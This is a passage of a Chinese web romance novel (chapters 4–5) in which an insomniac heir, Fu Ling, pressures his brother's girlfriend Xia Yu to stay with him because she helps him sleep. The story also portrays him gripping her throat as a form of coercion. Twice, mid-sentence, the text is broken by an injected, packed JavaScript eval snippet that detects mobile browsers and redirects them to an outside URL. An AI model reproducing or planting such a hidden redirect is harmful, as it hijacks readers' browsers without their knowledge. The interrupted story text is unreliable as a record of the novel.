他立刻取出钥匙,替夏虞解开了手脚的束缚。
夏虞揉着发僵的手腕,轻声问:“傅先生找我来,究竟是为了什么事?”
“我想请你帮个忙。”
她默了两秒,谨慎地问道:“跟…傅斯洲有关?”
酒瓶“咚”一声,被傅泠搁在桌上,不轻不重,却让周遭几个人瞬间面色警惕起来。
“我不需要用女人来对付他。”他目色冷淡。
跟傅斯洲没关,那就是因为她了。
夏虞握了握掌心,迟疑半晌,开口道:“可我既没权,也没钱,实在不知道能帮傅先生什么。”
“这些我都不需要。”
“那你要什么?”
傅泠锐利的目光看向她,喉间滚出一个字。
“你。”
4. Chapter 4
别墅内的光线晦暗不明,只有几盏壁灯,投下冷寂的光晕。
夏虞被傅泠的话钉在原地,大脑空了下,一度失去呼吸的节奏。
但很快,她就明白过来,“你”字的真正含义。
他要的不是她。
是她身上的某种能力。
他患有严重的失眠症。
而她,恰好能治他的病。
掐住掌心的手指松开,她紧绷的肩膀倏地沉落,一直屏在胸口的那口气,也缓缓吁出。
但荒谬感却随之而来。
她是人,不是药,怎么可能治病救人?况且治的,还是他多年的顽疾。
等等!
她能治疗他的失眠,这件事他是怎么知道的?
脑子里闪过什么,夏虞猛地抬头。
“难道昨晚,你也在…”那个房间里。
“反应不算太慢。”傅泠印证了她的猜测。
夏虞一时说不出话,只觉浑身每一寸皮肤,都闪过轻微的烧灼感。
最担心的事还是发生了,甚至更糟。
并非东窗事发,而是昨晚,他自始至终,都睡在她旁边。
傅泠欣赏着她面上微妙的变化,并未就昨夜之事多言,而是话锋一转。
“至于效果…”
他抬手示意,一旁的阿诺便将睡眠监测的数据,放到她面前的茶几上。
“夏小姐,这件事,我没有骗你。”
夏虞不得不抬头面对这活生生的证据。
屏幕上的图表显示,他过往的睡眠很糟糕,且长久以来,睡眠曲线都平缓得没有起伏,但昨天却突兀地出现了一段高峰。
时间刚好是,六点到九点。
她在他房间睡觉的那段时间。
愣怔片刻,夏虞将视线转向他,尽量让自己声线平稳,“傅先生,我想这可能只是一个巧合,或许是你当时太疲惫了。”
“不是巧合。”
男人轻描淡写地斩断她的妄想,“刚才你昏睡时,我也试过了。”
夏虞的呼吸彻底乱了。
很快,她就接受了这个事实,或者说,不得不接受。
“那,”她张了张嘴,试图找出最后的破绽,“你的医生知道这件事吗?”
“当然。”
傅泠放下酒杯,将她从头扫到脚,像在剖析罕见的奇珍异物,眼神里是连他自己也未能参透的好奇。
“医生说,或许是因为…”
“磁场。”
如果人的磁场能起作用,为什么偏偏是她,而非别人。
这个问题,傅泠不是没想过,但找不到答案,便不再深究。毕竟过程不重要,他只看结果。
而眼前的姑娘,不仅聪明,接受能力也比他预想的更强。她只沉默片刻,便径直看向他。
“所以你需要我帮你助眠?”
傅泠赞赏地点头,“只要你答应帮忙,我可以满足你的任何要求。”
“你要我怎么做?”
“搬过来。”傅泠注视着她,“但在这之前,我要你跟傅斯洲分手。”
如果说方才还有些惊慌,此刻,夏虞只是微微一怔,随即抿唇轻笑。
“傅先生是个很自信的人。”
也许是太过疲惫,她声音很轻,轻得跟深夜的雾一样,“但,凭什么呢?”
“凭他不值得。”
干脆利落的回答,一如既往的傲慢。
夏虞一愣,随即淡漠地弯了弯唇,她垂下眼眸,缓缓开口。
“抱歉傅先生,这件事我恐怕帮不了。”
傅泠对她的反应感到意外。
弟弟的女友,跟他想象中不同。一张明艳张扬的脸,性子比原以为的还要沉静,还要坚定。
这笔交易对她而言,其实相当划算。钱,权,名,只要她想,他都能给。
而他要的,只是她的人,又非她的心。
她却如此执拗。
他目光再次落到她身上,最终停在她脚边。
那里放着一个手提式玻璃鱼缸,一尾蓝色天使鱼正艰难吐息。
奄奄一息的疲惫。
同它主人一样。
“你究竟想要什么?”
他不信有人能完全无视利益的诱惑。
“我什么也不想要。”
夏虞轻叹一声,起身将包挎好,语气甚至算得上诚恳,“傅先生,事出有因,今晚的事我就不跟你计较了。”
“对于你的失眠症,我深表同情,但我真的帮不了你。”
说完,她抬脚准备离开。醒来时她便观察过,泳池那边应该就是大门的方向。
再怎么说,傅泠也是傅斯洲的哥哥,她不愿意,他应该也不会强求。抱着这份侥幸,夏虞大着胆子,从他身边经过。
但刚迈出几步,手腕就被一股强大的力道拽住。
天旋地转间,一只宽大的手扣住她后颈,将她按向身后那幅巨大的落地画。
画框冰冷的边缘,重重硌在脊背上,痛得她闷哼一声。
她蹙眉看他,眼神微微有些惊诧,紧接着,她垂下眼睫,唇角慢慢浮现一丝笑。
“傅先生…你这是要强人所难?”
傅泠垂眸看着她。
她不怕他。
从刚才到现在,除了些微的紧张,她并不怕他。
没有人可以在他手底下,还这么镇静。
看来傅斯洲口下留情了,没在她面前提起过自己那些恶劣的“罪状”。
拇指用力抵住她下巴,傅泠用其余四指牢牢握住她脖子,他的手很大,掌心干燥而温热。
几乎将她纤细的脖颈完全包裹。
仿佛稍稍用力,她就会像一截脆弱的花茎,折断在他手中。
呼吸不畅,夏虞试图掰开他的手,尝试了两下,发现如同蚍蜉撼树,便松开了双手。
她靠在画框上,只用一双漂亮但漠然的眼睛看着他。
她在消极抵抗。
傅泠审视的目光顿时浓郁了几分。
“打个赌如何?”
他指尖微微施力,迫使那疲惫得摇摇欲坠的人,不得不仰起头,直视着他那深不见底的棕潭。
“三天。”
他低沉声线落在她耳边,不带一丝波澜。
“三天后,你会自己回来找我的。”
--
又是一夜未眠。
傅泠换了身衣服下楼,正准备出门,就见李隽领着个年轻女孩进来。
“有兄弟在清溪镇遇上这姑娘,张蕙,她主动找上门,说自己是你要找的人。”
李隽说着,将女孩轻轻推到傅泠面前。
傅泠顿住脚步,视线落在她身上。
一身白色连衣裙,个子高挑,身形消瘦,看起来有些营养不良。但看向他的眼神,倒不胆怯。
他沉默地注视着她。
无数个失眠的夜里,那个救他的模糊身影和寥寥数语,是唯一能给他安宁的慰藉。
那些话,他反复咀嚼,早已刻入骨髓。
“回答我一个问题。”傅泠盯着女孩,薄唇轻启,“观音的净瓶里,装的是什么?”
张蕙显然有一瞬的茫然。
她抓紧裙摆,瞥了眼同样一头雾水的李隽,紧张地开口,“甘…露。”
傅泠视线倏然暗下。
“从哪儿来的,送哪儿去。”他径直绕过女孩,朝大门走去。
“等等,傅先生!”
张蕙在身后急切地喊出声,语速飞快,“我知道自己不是您要找的人,但我实在没办法了,为了见您一面,我只好出此下策。”
傅泠脚下一顿,转过头,“你想见我?”
“嗯。”张蕙重重点头,“您还记得清溪镇的慈溪中学吗?就是您捐赠的那个学校。”
倒是有这么一回事。
因为曾经在清溪死里逃生,他在那里捐了所希望小学。傅泠点点头,示意她继续说下去。
“我爸是慈溪中学的老师,他叫廖平昌。他为了救一个学生受了重伤,几乎瘫痪在床…他是我们全家的经济来源,我下面还有两个弟妹…”
傅泠打断语无伦次的女孩:“你想要钱?”
张蕙猛摇头,“我不要钱,我只想要一个说法。自从我爸出事后,学校就将他辞退了,没有任何工伤补贴,甚至还威胁他不能将此事说出去…”
“我实在是走投无路,才想到找您求助。”
“对于你父亲的事,我感到很遗憾。”
傅泠停顿了下,声音没有丝毫波澜,“但抱歉,我这里不是慈善机构,也不负责办案。”
说完,他迈步离开,径直坐进了等在门外的车里。
“真不帮?”李隽从身后跟上来。
傅泠沉默地看着窗外急速后退的风景。
恍惚间,他脑中闪过一个模糊的片段。
他浑身是伤,躺在一个女孩身上,女孩伸手探他额头的温度,她的声线很暖,语速尤其的慢。
“别怕,观音娘娘在看着我们呢。你看她手上拿着净瓶,里面装的不是甘露,而是希望。今晚过去,我们就安全了。”
“鬼扯。”
女孩轻声叹气,“唉,被你看穿了。不过‘好人有好报’这句话,你总听过吧?”
“你怎么知道我是好人?”
“嗯…大人们常说相由心生,你长得这么好看,应该不是坏人吧。”
记忆的碎片如细针,密集地刺入神经,泛起一阵阵头痛,傅泠抬手揉了揉眉骨。
“老大?”
见他没回应,李隽转头提醒。
呵,好人有好报。
傅泠侧头看向窗外,鼻腔轻哼:“帮她。”
李隽轻啧一声:“就知道你嘴硬心软。”
“李密医生的新药怎么样?”他又问。
“昨晚试了,没用。”
傅泠合上双眼,向后靠进椅背,“不过没关系,已经找到效果不错的药了。”
“可人家不是还没答应你?”
他唇角极淡地扬了一下,“她会答应的。”
--
卫生间里,水龙头哗哗出水。
洗了把冷水脸,夏虞抬头看着镜子里的自己,昨晚没睡好,眼下是一抹淡淡的青黑。
想起什么,她下意识伸手,摸了摸脖子。
男人手指留下红痕已经消褪,但那种喘不过气来的感觉,却像是还缠绕在呼吸间。
昨晚的事,像一场天方夜谭的梦。
但她清楚地知道,这不是梦,因为她记得那双眼凝视着她时,扑面而来的危险气息。
“三天。三天后,你会回来找我的。”
傅泠低沉的嗓音犹在耳旁,带着某种不达目的不罢休的狂傲。
关掉水龙头,夏虞从口袋里拿出手机。
这件事应该告诉傅斯洲,能够对付那个疯子的人,也只有他了。
但从傅泠的态度来看,两兄弟的关系,似乎比她想象中更糟糕。
傅斯洲未必能帮到自己。
以他冲动的性子,若知道傅泠让她分手的事,事情指不定会变得更乱。
正当她犹豫不决时,敲门声突然响起。她迅速擦干脸,快步去开门。
傅斯洲一身白衣站在门外,手上拎着肯德基的牛皮纸袋,是她常吃的帕尼尼和热美式套餐。
“怎么了?”
见她发懵地盯着自己,傅斯洲笑着进门,顺手捏了捏她的脸。
“没事。”夏虞回过神来,勉强弯了弯嘴角,“你怎么来了?”
“来看看某人,有没有好好吃饭,好好睡觉。”
他将纸袋放在餐桌上,伸手抱她,“怎么眼睛红红的,不会是想
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490634|185841||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我想的吧?”
夏虞笑着推了推他,“刚洗面奶弄眼睛里去了。”
“你昨晚那个同事还好吧?”
她走到餐桌旁坐下,拿出帕尼尼,低头咬了口,配上一口热美式,整个人都清醒了不少。
“嗯,没什么大碍了,腿受了点伤,我昨晚守了一夜,上午就可以出院了。”
夏虞点点头,吞下食物后,迟疑片刻,转头看他。
“傅斯洲,有件事我想跟你…”
话没说完,他的手机突然响起。
“稍等。”
傅斯洲起身去一旁接听,隔着几步的距离,她听到电话里传来一个熟悉的女声。
“傅斯洲让你买早餐,你买哪儿去了,怎么还不回来?”
是那个一贯颐指气使的大小姐,他的发小,陈思琪。
“不是,陈思琪,虽然你受了工伤,但我是你上司,不是你保姆…”
傅斯洲虽然语气不耐烦,却仍压着火气,没有翻脸。
夏虞突然觉得手里的食物有些难以下咽了。
“所以昨晚,你在医院守了一整夜的人,是陈思琪?”
待他挂断后,她拍了拍手上碎屑,面无表情地问道。
傅斯洲握着她的肩,试图解释:“她在我这儿实习,受了伤,我在双方长辈那儿都不好交差,不过你放心,她的实习期快结束了…”
不想再听这些翻来覆去的车轱辘话,夏虞打断她,“那现在呢,你走还是留?”
“我…”
催促的电话铃声再次响起,傅斯洲为难地看了看她,手指悬在屏幕上,迟迟没有接听,也没挂断。
夏虞什么也没说,起身走回卧室,关上了房门。
她不是不理解他的难处。
但在自己需要他的时刻,她希望他的天平,能毫不犹豫地倾向自己。
然而,半分钟后,她听到大门被关上的声音。
他走了。
-
夏虞靠在门后,闭上双眼,等待着剧烈起伏的胸口慢慢平息。
再睁眼时,目光落在窗边的鱼缸上。
昨晚傅泠松开手后,她才发现,怀中的鱼缸水已溢出大半,鱼也不知道是死是活。
回家便立刻换水,插上恒温器。听说新水需提前静置除氯,原本是来不及的,还好小区早上通知停水,她阴差阳错,接了一桶。
也还好,被那么折腾一番,这条病恹恹的鱼,竟然顽强地活了下来。虽然身上的白斑依旧还在。
其实白点病的治疗并不复杂,老板只是不想花费时间,因为它太普通,生命又太过廉价。
她突然觉得,她们一人一鱼,似乎都被困住了。
它被困在生死边缘。
而她,困在一段不合适的感情里,如今又困在了一个无法自主的选择里。
她走过去,查看了下水温,然后拿起一旁的蓝色药剂,小心翼翼地往鱼缸中滴了下去。
--
实在太累,夏虞决定将这些理不清的烦扰,暂时搁下。
天塌下来有个高的顶着,如果她不愿意,她不信傅泠还会将她绑了去。
她一觉睡到了下午。
直到被枕边的手机铃声吵醒。
“喂,小鱼?”
许妍的声音将她从梦里捞出来。
“怎么了?”她手背搭在额头上,翻了个身。
“你在…睡觉?”许妍语气惊讶,“身体不舒服吗?”
“没,只是有点儿犯困。”
“那正好,你过来吃饭吧。陆煦他生日,原本不打算办的,今天突然心血来潮,又想热闹热闹了。”
“你们吃吧,我就不去了。”她实在没什么心情,“替我向你男友说一句生日快乐。”
“你难道是要跟傅斯洲约会去?”
夏虞顿了下,“没,他在忙。”
她这么一说,许妍更加不会放她一个人在家点外卖了。
“那行,你过来,就这么说定了。”她又补了句,“不用带什么礼物,人到就行。”
夏虞拗不过,只好答应。
毕竟是别人的生日,她还是花了点时间洗头,化妆,再挑了件米色长裙。
穿鞋时,她瞥了眼许妍发来的定位。
【仁德巷366号,白夜里】
这地方,怎么有些耳熟。
或许是听谁提过,但疲惫的大脑一时无法提取这份记忆,她没多想,在楼下商店挑了礼物后,打车过去了。
白夜里是一个中式会所,沉香袅袅,竹影摇曳。她边进去,边低头给许妍发信息。
【我到了,你们在哪儿?】
脚下刚迈入前厅,就跟一个急匆匆的服务员迎面撞上。
“抱歉小姐,您没事吧?”
对方语气紧张,手中的托盘微微倾斜,杯里的酒险些洒了。
“没事。”她温和地笑笑。
对方感激地擦了把汗,而后匆匆离去。她低头整理衣服,视线不经意扫过前方的回廊。
整个人蓦地僵在原地。
朱漆雕花的回廊中,灯影昏黄,两道熟悉的身影,在暗光中纠缠。
女人身着暗红色长裙,面容微醺,双手搂紧男人的脖颈。男人一身白衣,虽没有主动,却也没推开对方的吻。
沉香味混合雨后的潮气,压得人几乎窒息,夏虞攥紧礼物袋,纸袋发出细微的清脆声响。
她原本不该出现在这里。
可她阴差阳错来了。
也阴差阳错撞见了不该撞见的场景。
雨水哗哗,顺着檐角落下,望着傅斯洲与陈思琪相拥的身影,夏虞的视线渐渐模糊。
眼睛发酸发胀,她下意识仰起脸,想将这发寒的热意逼退。
抬头的瞬间,却撞见二楼窗边,一双像是在俯视人间的,清冷的眼。
5. Chapter 5
夏虞终于想起,“白夜里”这三个字为何如此耳熟。
它是傅家的产业。
确切地说,是傅泠生母留下的。傅斯洲曾经用某种不屑,但又隐隐嫉妒的语气,跟她提起过。
只可惜,记忆涌现得太迟。
也太不合时宜。
雨雾模糊了视线,傅泠依旧站在窗后的灯影里,居高临下,静静凝视着她。
他看了多久?
一分钟?
还是从她踏入“白夜里”的第一步,就在窥视了?
他目睹了她的惊愕、狼狈,信任崩塌和自尊被碾碎的瞬间。
此刻的他,想必很得意。
檐角雨水连成线,在青石地面砸出细碎水花。隔着雨幕,两人一上一下,沉默对视。
然后,夏虞看见他缓缓地、优雅地,举起手机,贴到耳边。
几乎是同一时间,她掌心的电话响起,那震动让她僵冷的手指,微微一颤。
她不知道傅泠怎么拿到她手机号的,但这对他而言,不是什么难事。
“夏虞。”
他率先开口,冷玉般的声音,一如既往的命令式口吻。
“别用那种眼神看我。”
某种前所未有的疲惫感袭来。
夏虞连抬眼的力气都耗尽,视线垂落,她盯着裙摆上肮脏的褐色泥点,声色冷然。
“就算跟傅斯洲分手了,我也不会答应你的。”
电话那头是一段冗长的、只剩下雨声的沉默。
最终,他的声音再次传来,平稳,淡漠,没有任何情绪起伏。
“还有两天。”
“夏虞。”
--
挂断电话,傅泠离开了窗边。
李隽站在他身后的走廊,手中握着个不断响铃的手机,一脸为难地看向他。
“你要再不接林珊珊的电话,她就要杀到公司来了。”
“让她来。”傅泠眼皮都没抬一下,“有些账,也该清算了。”
李隽点点头,将手机关机,边朝楼下探了眼,边掏出烟盒。
“你对夏虞那姑娘,会不会太狠了点?”
鼻尖嗅到淡淡的烟草味,傅泠不悦地夺过李隽的烟盒,指尖轻抛。
咚——
砸在走廊的那个鱼缸里。
鱼缸一切设置如常,有水,有水草,甚至连灯都是亮的。
偏偏没有鱼。
“室内禁止吸烟。”
不冷不淡扔下这几个字,傅泠抬脚往房间那边去了。
--
跟许妍匆匆打了个照面,夏虞便借口离开了。
上车后,她用僵白的手指敲下信息,编辑又删,最终只发出去六个字。
【傅斯洲,分手吧】
夜雨拍窗,世界模糊成一片光晕,真真假假,辨不分明。
她依稀想起,跟傅斯洲初遇的那日,也是个雨天。
去年六月,蓊郁的母校,她回去参加校庆,在操场跑的灌木丛里,发现了一只巴掌大的橘猫,脚被卡在铁栅栏里,叫声凄厉。
没有雨伞,她只能脱下衬衫,盖住小猫,再想办法将它的腿从栅栏里弄出,但浑身被雨淋透,都没有成功。
正无措时,头顶的雨突然停了。
一把黑绸伞罩在了上方。
“需要帮忙吗?”
一个明亮的男声随之响起。
她仰头看去,是个穿着白T的男生,桃花眼,笑容和煦,像大学里阳光俊朗的学长。
嗡——
握在掌心的电话骤然震动,斩断她的回忆。
傅斯洲的名字在屏幕上固执地亮起,熄灭,又再次亮起。也不知持续了多久,夏虞终于按下接听键。
“为什么突然提分手?为什么?”他的声音急切而慌张。
夏虞望着窗外,语气平静得像一潭死水:“我们不合适,早点分了对谁都好。”
那头似是松了口气。
“小鱼,你一定是最近工作太累了。”傅斯洲声音缓和下来,“也怪我,早上走得太急。等忙完这阵…”
他一顿,“还是说,你在生陈思琪的气?我跟她真的只是…”
夏虞沉默地听着,任由他辩解,质问,自始至终一言不发。
该说什么呢?
戳破他的谎言,让这段感情更加难堪,也不过是在印证自己的愚蠢。
但脑子里却不由自主地,浮现曾经动人的画面。
她想起去年冬天,暴雪夜,那时他们还未在一起,被困在山上的她深夜发烧,他不顾危险开上山顶,怀里揣着被捂热的药,淋了满头的白。
也想起新年夜,漫天烟火下,他将她裹进羊绒大衣,呵出一团白气,声线明亮温柔。
“以后每年的这一天,我都陪你过,好不好?”
在一起半年,她好像从未真正了解过他。
她长久的沉默,终于让焦躁的傅斯洲崩溃,“夏虞,你这样单方面提分手,有没有想过我的感受?”
“那你呢?”
静了两秒,她缓缓开口,声线淡漠,“你今晚跟陈思琪在白夜里的时候,又想过我的感受吗?”
电话那头瞬间静下。
一片死寂。
夏虞顺势将手机掐断,关机。
世界终于彻底安静。
身体里最后一丝力量被抽走,她颓然地陷进冰凉的座椅里,闭上了眼睛。
她不知道今晚的事只是巧合,还是傅泠精心设计的。
但都不重要了。
只是她想不明白,全世界那么多人,能帮他的,为什么会是她?
偏偏是她。
--
翌日。
电话不知疲倦地响铃许久,夏虞才终于有了动静,她一个翻身,人就从沙发边缘滚落。
重重摔在地毯上。
她缓缓睁眼,盯着天花板的纹路,怔了好一会儿,才想起自己身在何处,然后摸到茶几上还在响个不停的电话。
“请问是夏小姐吗?我是之前跟你联系过的王哥,我这边有一笔贷款…”
夏虞扶着茶几,慢慢坐起,用干涩的嗓音打断对方,“不好意思,我不贷款。”
利落地掐断电话,她瞥了眼时间,已经下午一点多了。窗外正是日头最烈的时候。
昨晚从白夜里回来,她衣服都没换,倒在沙发上就睡着了,整晚迷迷糊糊,做了不少噩梦,到天亮才勉强安稳睡去。
将手机扔回茶几,她揉着酸痛的肩膀起身,脚步虚浮地去了浴室。
脑袋昏沉滞涩,她感觉自己像一个锈了的、不听使唤的机器,温热的水流冲刷下来,她闭着眼,好几次,手肘都差点撞在玻璃门上。
不过几晚没睡好,状态就差成这样。那傅泠几年都睡不了一个好觉,大脑难道不会退化吗?
怎么突然想到他了?
看着镜子里面色苍白、头发湿漉漉的自己,夏虞回过神来,立刻打断这不合时宜的思绪。
将自己勉强收拾出一个人样后,她开始清理傅斯洲留下的东西。
没拆封的名牌包和首饰打包装好,毛巾、拖鞋扔掉,还有他遗留的白衬衫,一并塞进纸箱。
打包完成后,她预约了上门取件。
将这些不属于她的东西送走后,手机恰好在桌上震动起来,一条接一条的信息,不断弹出。
是傅斯洲发的。
【小鱼,昨晚部门聚会,我喝醉了...我都不知道自己在干什么…你相信我】
【为了拿到南非的项目,我不得不听从父亲的安排去应付陈思琪…但你知道我心里只有你】
她垂眸扫过那些苍白的解释和挽留,终究,只是轻叹口气,面无表情地在屏幕上划了几下。
将他的微信号拖入屏蔽列表。
也许她猜的没错,他突如其来的野心,跟傅泠的回国有关。
为了对抗他,他必须得到父亲的认可,而陈思琪作为世交家的千金,自然是他要紧紧抓住的牌。
但什么都想要,未免太贪心。
况且,道不同,早些分道扬镳的好。
和过去分割完毕,她又去看了眼天使鱼,鱼鳍上的白点似乎没什么变化,又似乎消褪了些。
照例滴了药后,她便趴在桌上,出神地凝视着鱼缸里的鱼。
阳光热烈,打在她脸上,金鱼似乎也睁着圆鼓鼓的小眼睛,在认真打量她。
也不知道,在这个小家伙的眼中,这样傻傻盯着它的自己,是什么模样?这个玻璃缸外的世界,又是什么景象?
一人,一鱼,就这样安静地陪伴着。
直到肚子发出咕噜的抗议,夏虞才意识到,从昨晚到现在,已经粒米未进了。
起身去厨房煮了包泡面。
一口一口机械地咽下,肚子终于填满,但某种后知后觉的空虚,却油然而生。
她开始给自己找事做,比如收拾橱柜。
平日里很少在家做饭,食材配料过期是常有的事,她将调料、米面、速冻食品等一股脑拿出来,挨着清点。
目光扫过一罐胡椒粉。
还有两天过期。
两天。
又是两天。
傅泠的威胁滚过耳边,她顺手将东西扔进垃圾桶,“咚”地一声,玻璃瓶被砸碎,灰色粉末轻轻扬起,浓香呛人。
她盯着那片狼藉,突然有些烦躁。
身体里缺失什么的感觉,越来越强烈,得出去透透气才行。夏虞打开微信对话框,往下滑动。
停在了拳击教练的名片上。
--
“你还知道来上课?”
拳击馆里,教练陈涛抱臂打量她,“一个月没来,是忙着加班还是谈恋爱?”
缠好绷带,夏虞拿起薄荷绿的拳套,边戴,边勉强地扯了扯嘴角。
“前阵子在出差。”
陈涛再想问什么,她一记直拳已经打出,沙袋剧烈摇晃。随即,室内响起持续不断的、沉闷的“砰砰”声。
拳击这项运动,是两年前,因为许妍偶然接触的。
许妍拉她过来,说女孩得学点防身术,但两节课后,信誓旦旦的人就喊着浑身酸痛,再没出现过。
反倒是她这个陪练,留了下来。
“你到底是怎么坚持下来的?”许妍后来问她。
“挺解压的。”她轻描淡写道。
只是,她今天状态明显不对,出拳毫无章法,只凭蛮力。陈涛看着她皱了皱眉,这样下去,手会废的。
“来,今天我给你当靶子。”他走过去拍了拍她的肩。
发泄结束后,夏虞靠在拳台边喘气。
小指还在发抖,浑身几乎湿透,身体再没多余的力气,但心里,却有种被暴雨冲刷的清爽。
陈涛递来毛巾,“好些了?”
“嗯。”
夏虞接过来,把脸埋进柔软湿润的毛巾里,对于陈涛的看破不说破,很是感激。
“谢谢你啊,陈教练。”
陈涛早年是职业拳击手,后来退役,开了这个拳馆,话虽不多,但心细。
他开了瓶柠檬水给她,提醒道:“手,记得回家冰敷。”
接过拉罐,夏虞瞅了眼红肿的指节,不以为意地笑道:“知道了,教练。”
“下周还来不?”
“当然——“
她仰头喝水,下意识看了眼门口,扫过某张熟悉的侧脸时,已经平复的心跳,骤然加速。
可定睛细看,那不过是一张路过的陌生脸孔。
怎么可能在这里看见傅泠。
她真是有些疑神疑鬼了。
收回视线,她用力拧上瓶盖,“来,当然来。”
--
在拳馆冲完澡,夏虞背着包走出来。
她边走,边整理半干的头发,眼神不经意扫过手腕时,蓦地顿住。
那条一直系在腕间的红色平安绳,不见了。
那红绳,是母亲陈秋莲亲手编织的,她十六岁的生日礼物。
不擅手工的陈秋莲,戴着老花镜,熬了一个通宵,编绳、串珠、刻字,最后弄得眼睛都发了炎。
不是什么值钱的东西,但在她心里,是无价的。
应该是刚才洗澡时,放在柜子里忘了拿,她立刻返回了拳馆。
回到更衣室,夏虞打开刚才用过的存储柜,里面空无一物。
“那个,阿姨—”
她转头问身后正在打扫卫生的保洁,“你刚刚看到这个柜子里的一条红绳了吗?”
“红绳…”
保洁认真想了想,立刻掏兜,“是这个不是?”
一个粉色的水晶手串递到夏虞面前。
不是她的。
原本镇定的夏虞突然有些慌了。
难道是离开的时候,掉在路上了?
她立刻从更衣室出去,沿着刚才的线路,仔细寻找,目光几乎扫过每一寸地面和缝隙。
商场处于整改期,一旁的展陈区,工人正在更换艺术装置,但中途有事离开,忘了放警戒牌。
夏虞低头找东西,没注意周围的环境,听到上方传来某种沉闷的摩擦声时,她下意识抬头。
一块矩形的亚克力板子,在装置上方晃悠着,摇摇欲坠。
根本来不及反应,下一秒,它便在周围的惊呼声中,砸了下来!
她下意识抬手护住脑袋。
但预想中的撞击并未到来。
有人将她护在了怀里。
后颈被一只冰凉的手扣住,鼻间是淡沉的木香,夏虞缓缓抬头,对上一双熟悉的深棕色眼眸。
傅泠垂眸看她,确认她没受伤,他很快松开,将掌心那块沉重的板子,随手扔给身后的人。
“这里谁负责?”
他声音不高,却让现场瞬间陷入死寂。
“是…是我,傅总。”
在他身后,一个穿着蓝衬衫的瘦高男人站出来,擦了把头上的汗。
傅泠扫他一眼,“这次的事故该怎么处理,张经理最好来二十六楼,给我一个交代。”
说罢,不等对方反应,他面色冷峻地转身离开,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490635|185841||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前方工作人员纷纷低下头,分海般让开道路。
自始至终,他都没再给夏虞半个眼神。
就这样…走了。
夏虞看着他渐远的背影,不禁有些困惑。
步步紧逼的是他,此刻放她离开的,也是他。
这个男人究竟想干什么?
但不管怎么说,她现在已经跟傅斯洲分手了,没有软肋,自然就不怕威胁。
她虽然猜不透他,但有一点她很清楚,她得离这个危险人物远一些。
越远越好。
她收回视线,继续低头找东西,脑中却如同过电般,忽然闪过一个清晰的画面。
刚刚他手上那团红色的东西是…
她的平安绳?
--
从二十六楼电梯出来,眼前是铺着深灰色地毯的走廊。
夏虞左右打量,视线定在对面的黑色指示牌上。
上面用宋体字,标注着各个部门的方向。
原本她没有通行卡,无法上楼,但就是那么“巧”,在楼下碰见李隽,对方便顺便替她刷了卡。
傅泠是在哪里捡到的平安绳?
又如何知晓这东西是她的?
或者说,他怎么知道,这东西对她很重要?
她一边从上到下扫视指示牌,一边琢磨这些问题。
难道…他在派人跟踪她?
但无论如何,她得先拿回自己的东西。
视线从指示牌收回,她决定先去左手边的副总办公室。没走几步,消防通道的方向,便隐隐传来的对话声。
“傅泠,你一定要做得这么绝吗?”
一个愤怒又委屈的女声在楼梯间回荡。
“林珊珊,我想你大概是误会了。”
男人语气静而冷,“看在傅婧的面子上,我帮过你两次。但这并不代表其他任何意思。”
林珊珊。
难道是那个大名鼎鼎的西山科技的千金?
躲在门后的夏虞看热闹似地,轻“啧”了声。
傅斯洲有陈思琪这个发小,没想到傅泠也有圈内的爱慕者。
傅家的男人,还真是招人。
她实在不想听墙角,但眼下,又必须得盯紧他。
“傅泠…你什么意思?”
林珊珊语气慌乱起来。
“别以为我不知道,之前那些八卦新闻,都是你找人拍的。”
他声线一沉,“林珊珊,适可而止。”
楼梯间倏然安静。
林珊珊朝楼梯口看了眼,似是在等待着什么,但最终,在傅泠压迫的目光中,决定放弃。
“傅泠,我总算知道,你身边为何留不住人。玩弄了那么多女人,你迟早会遭报应的。”
女孩转身下楼,高跟鞋踩在阶梯上,仓促慌乱,很快,便彻底消失在下一层的电梯厅。
安静下来的空间里,夏虞听见里头的男人出声。
“出来。”
显然,是在跟她讲话。
夏虞只能硬着头皮从门板后走出去,“抱歉傅先生,我不是故意要偷听的。”
“是吗?我看你听得挺开心的。”
他怎么知道?
夏虞下意识看了眼头顶的监控器,转眼,瞥见他唇边的笑意,才知道上当了。
他在诈她。
她深吸一口气,“傅先生您放心,我对您的私生活一点也不感兴趣,更不会把这件事说出去。”
下面的人却没了声音。
就在这时,黑暗的楼梯间,突然腾起一簇打火机的光,她以为傅泠在抽烟,细看,才发现他点燃了手中的照片。
他的脸被火光照亮,冷白的皮肤,深棕的眼睛,莫名让她想起了电视剧里,仿佛下一秒就要扑过来、咬断她脖子的吸血鬼。
她下意识后退半步。
“怕了?”
傅泠唇角微扬,像是在笑话她这个胆小鬼,“刚刚打拳的时候,不是挺有杀气的?”
还真是他。
那个在拳馆外一闪而过的身影,不是她的错觉。
没必要再兜圈子,夏虞直入正题,“傅先生,我的东西,可以还我了吗?”
傅泠将照片余烬扔进一旁的垃圾桶,擦净手,不疾不徐地拿出那根红绳。
“这个?”
“嗯。”
“你的?”他将东西举到眼前,“怎么证明?”
“那上面有六颗沉香木的珠子,分别雕刻着六个字:小鱼,平安顺遂。”
她顿了下,“鱼是象形字,形状像一尾鱼。”
“小鱼。”
傅泠轻声念出那两个字,尾音微扬,“小名?”
夏虞点了点头。
傅泠没再说话,只是将绳子托在指尖,朝她的方向高高举起。
像是在引诱她去取。
犹豫片刻,夏虞一步一步,走下台阶。
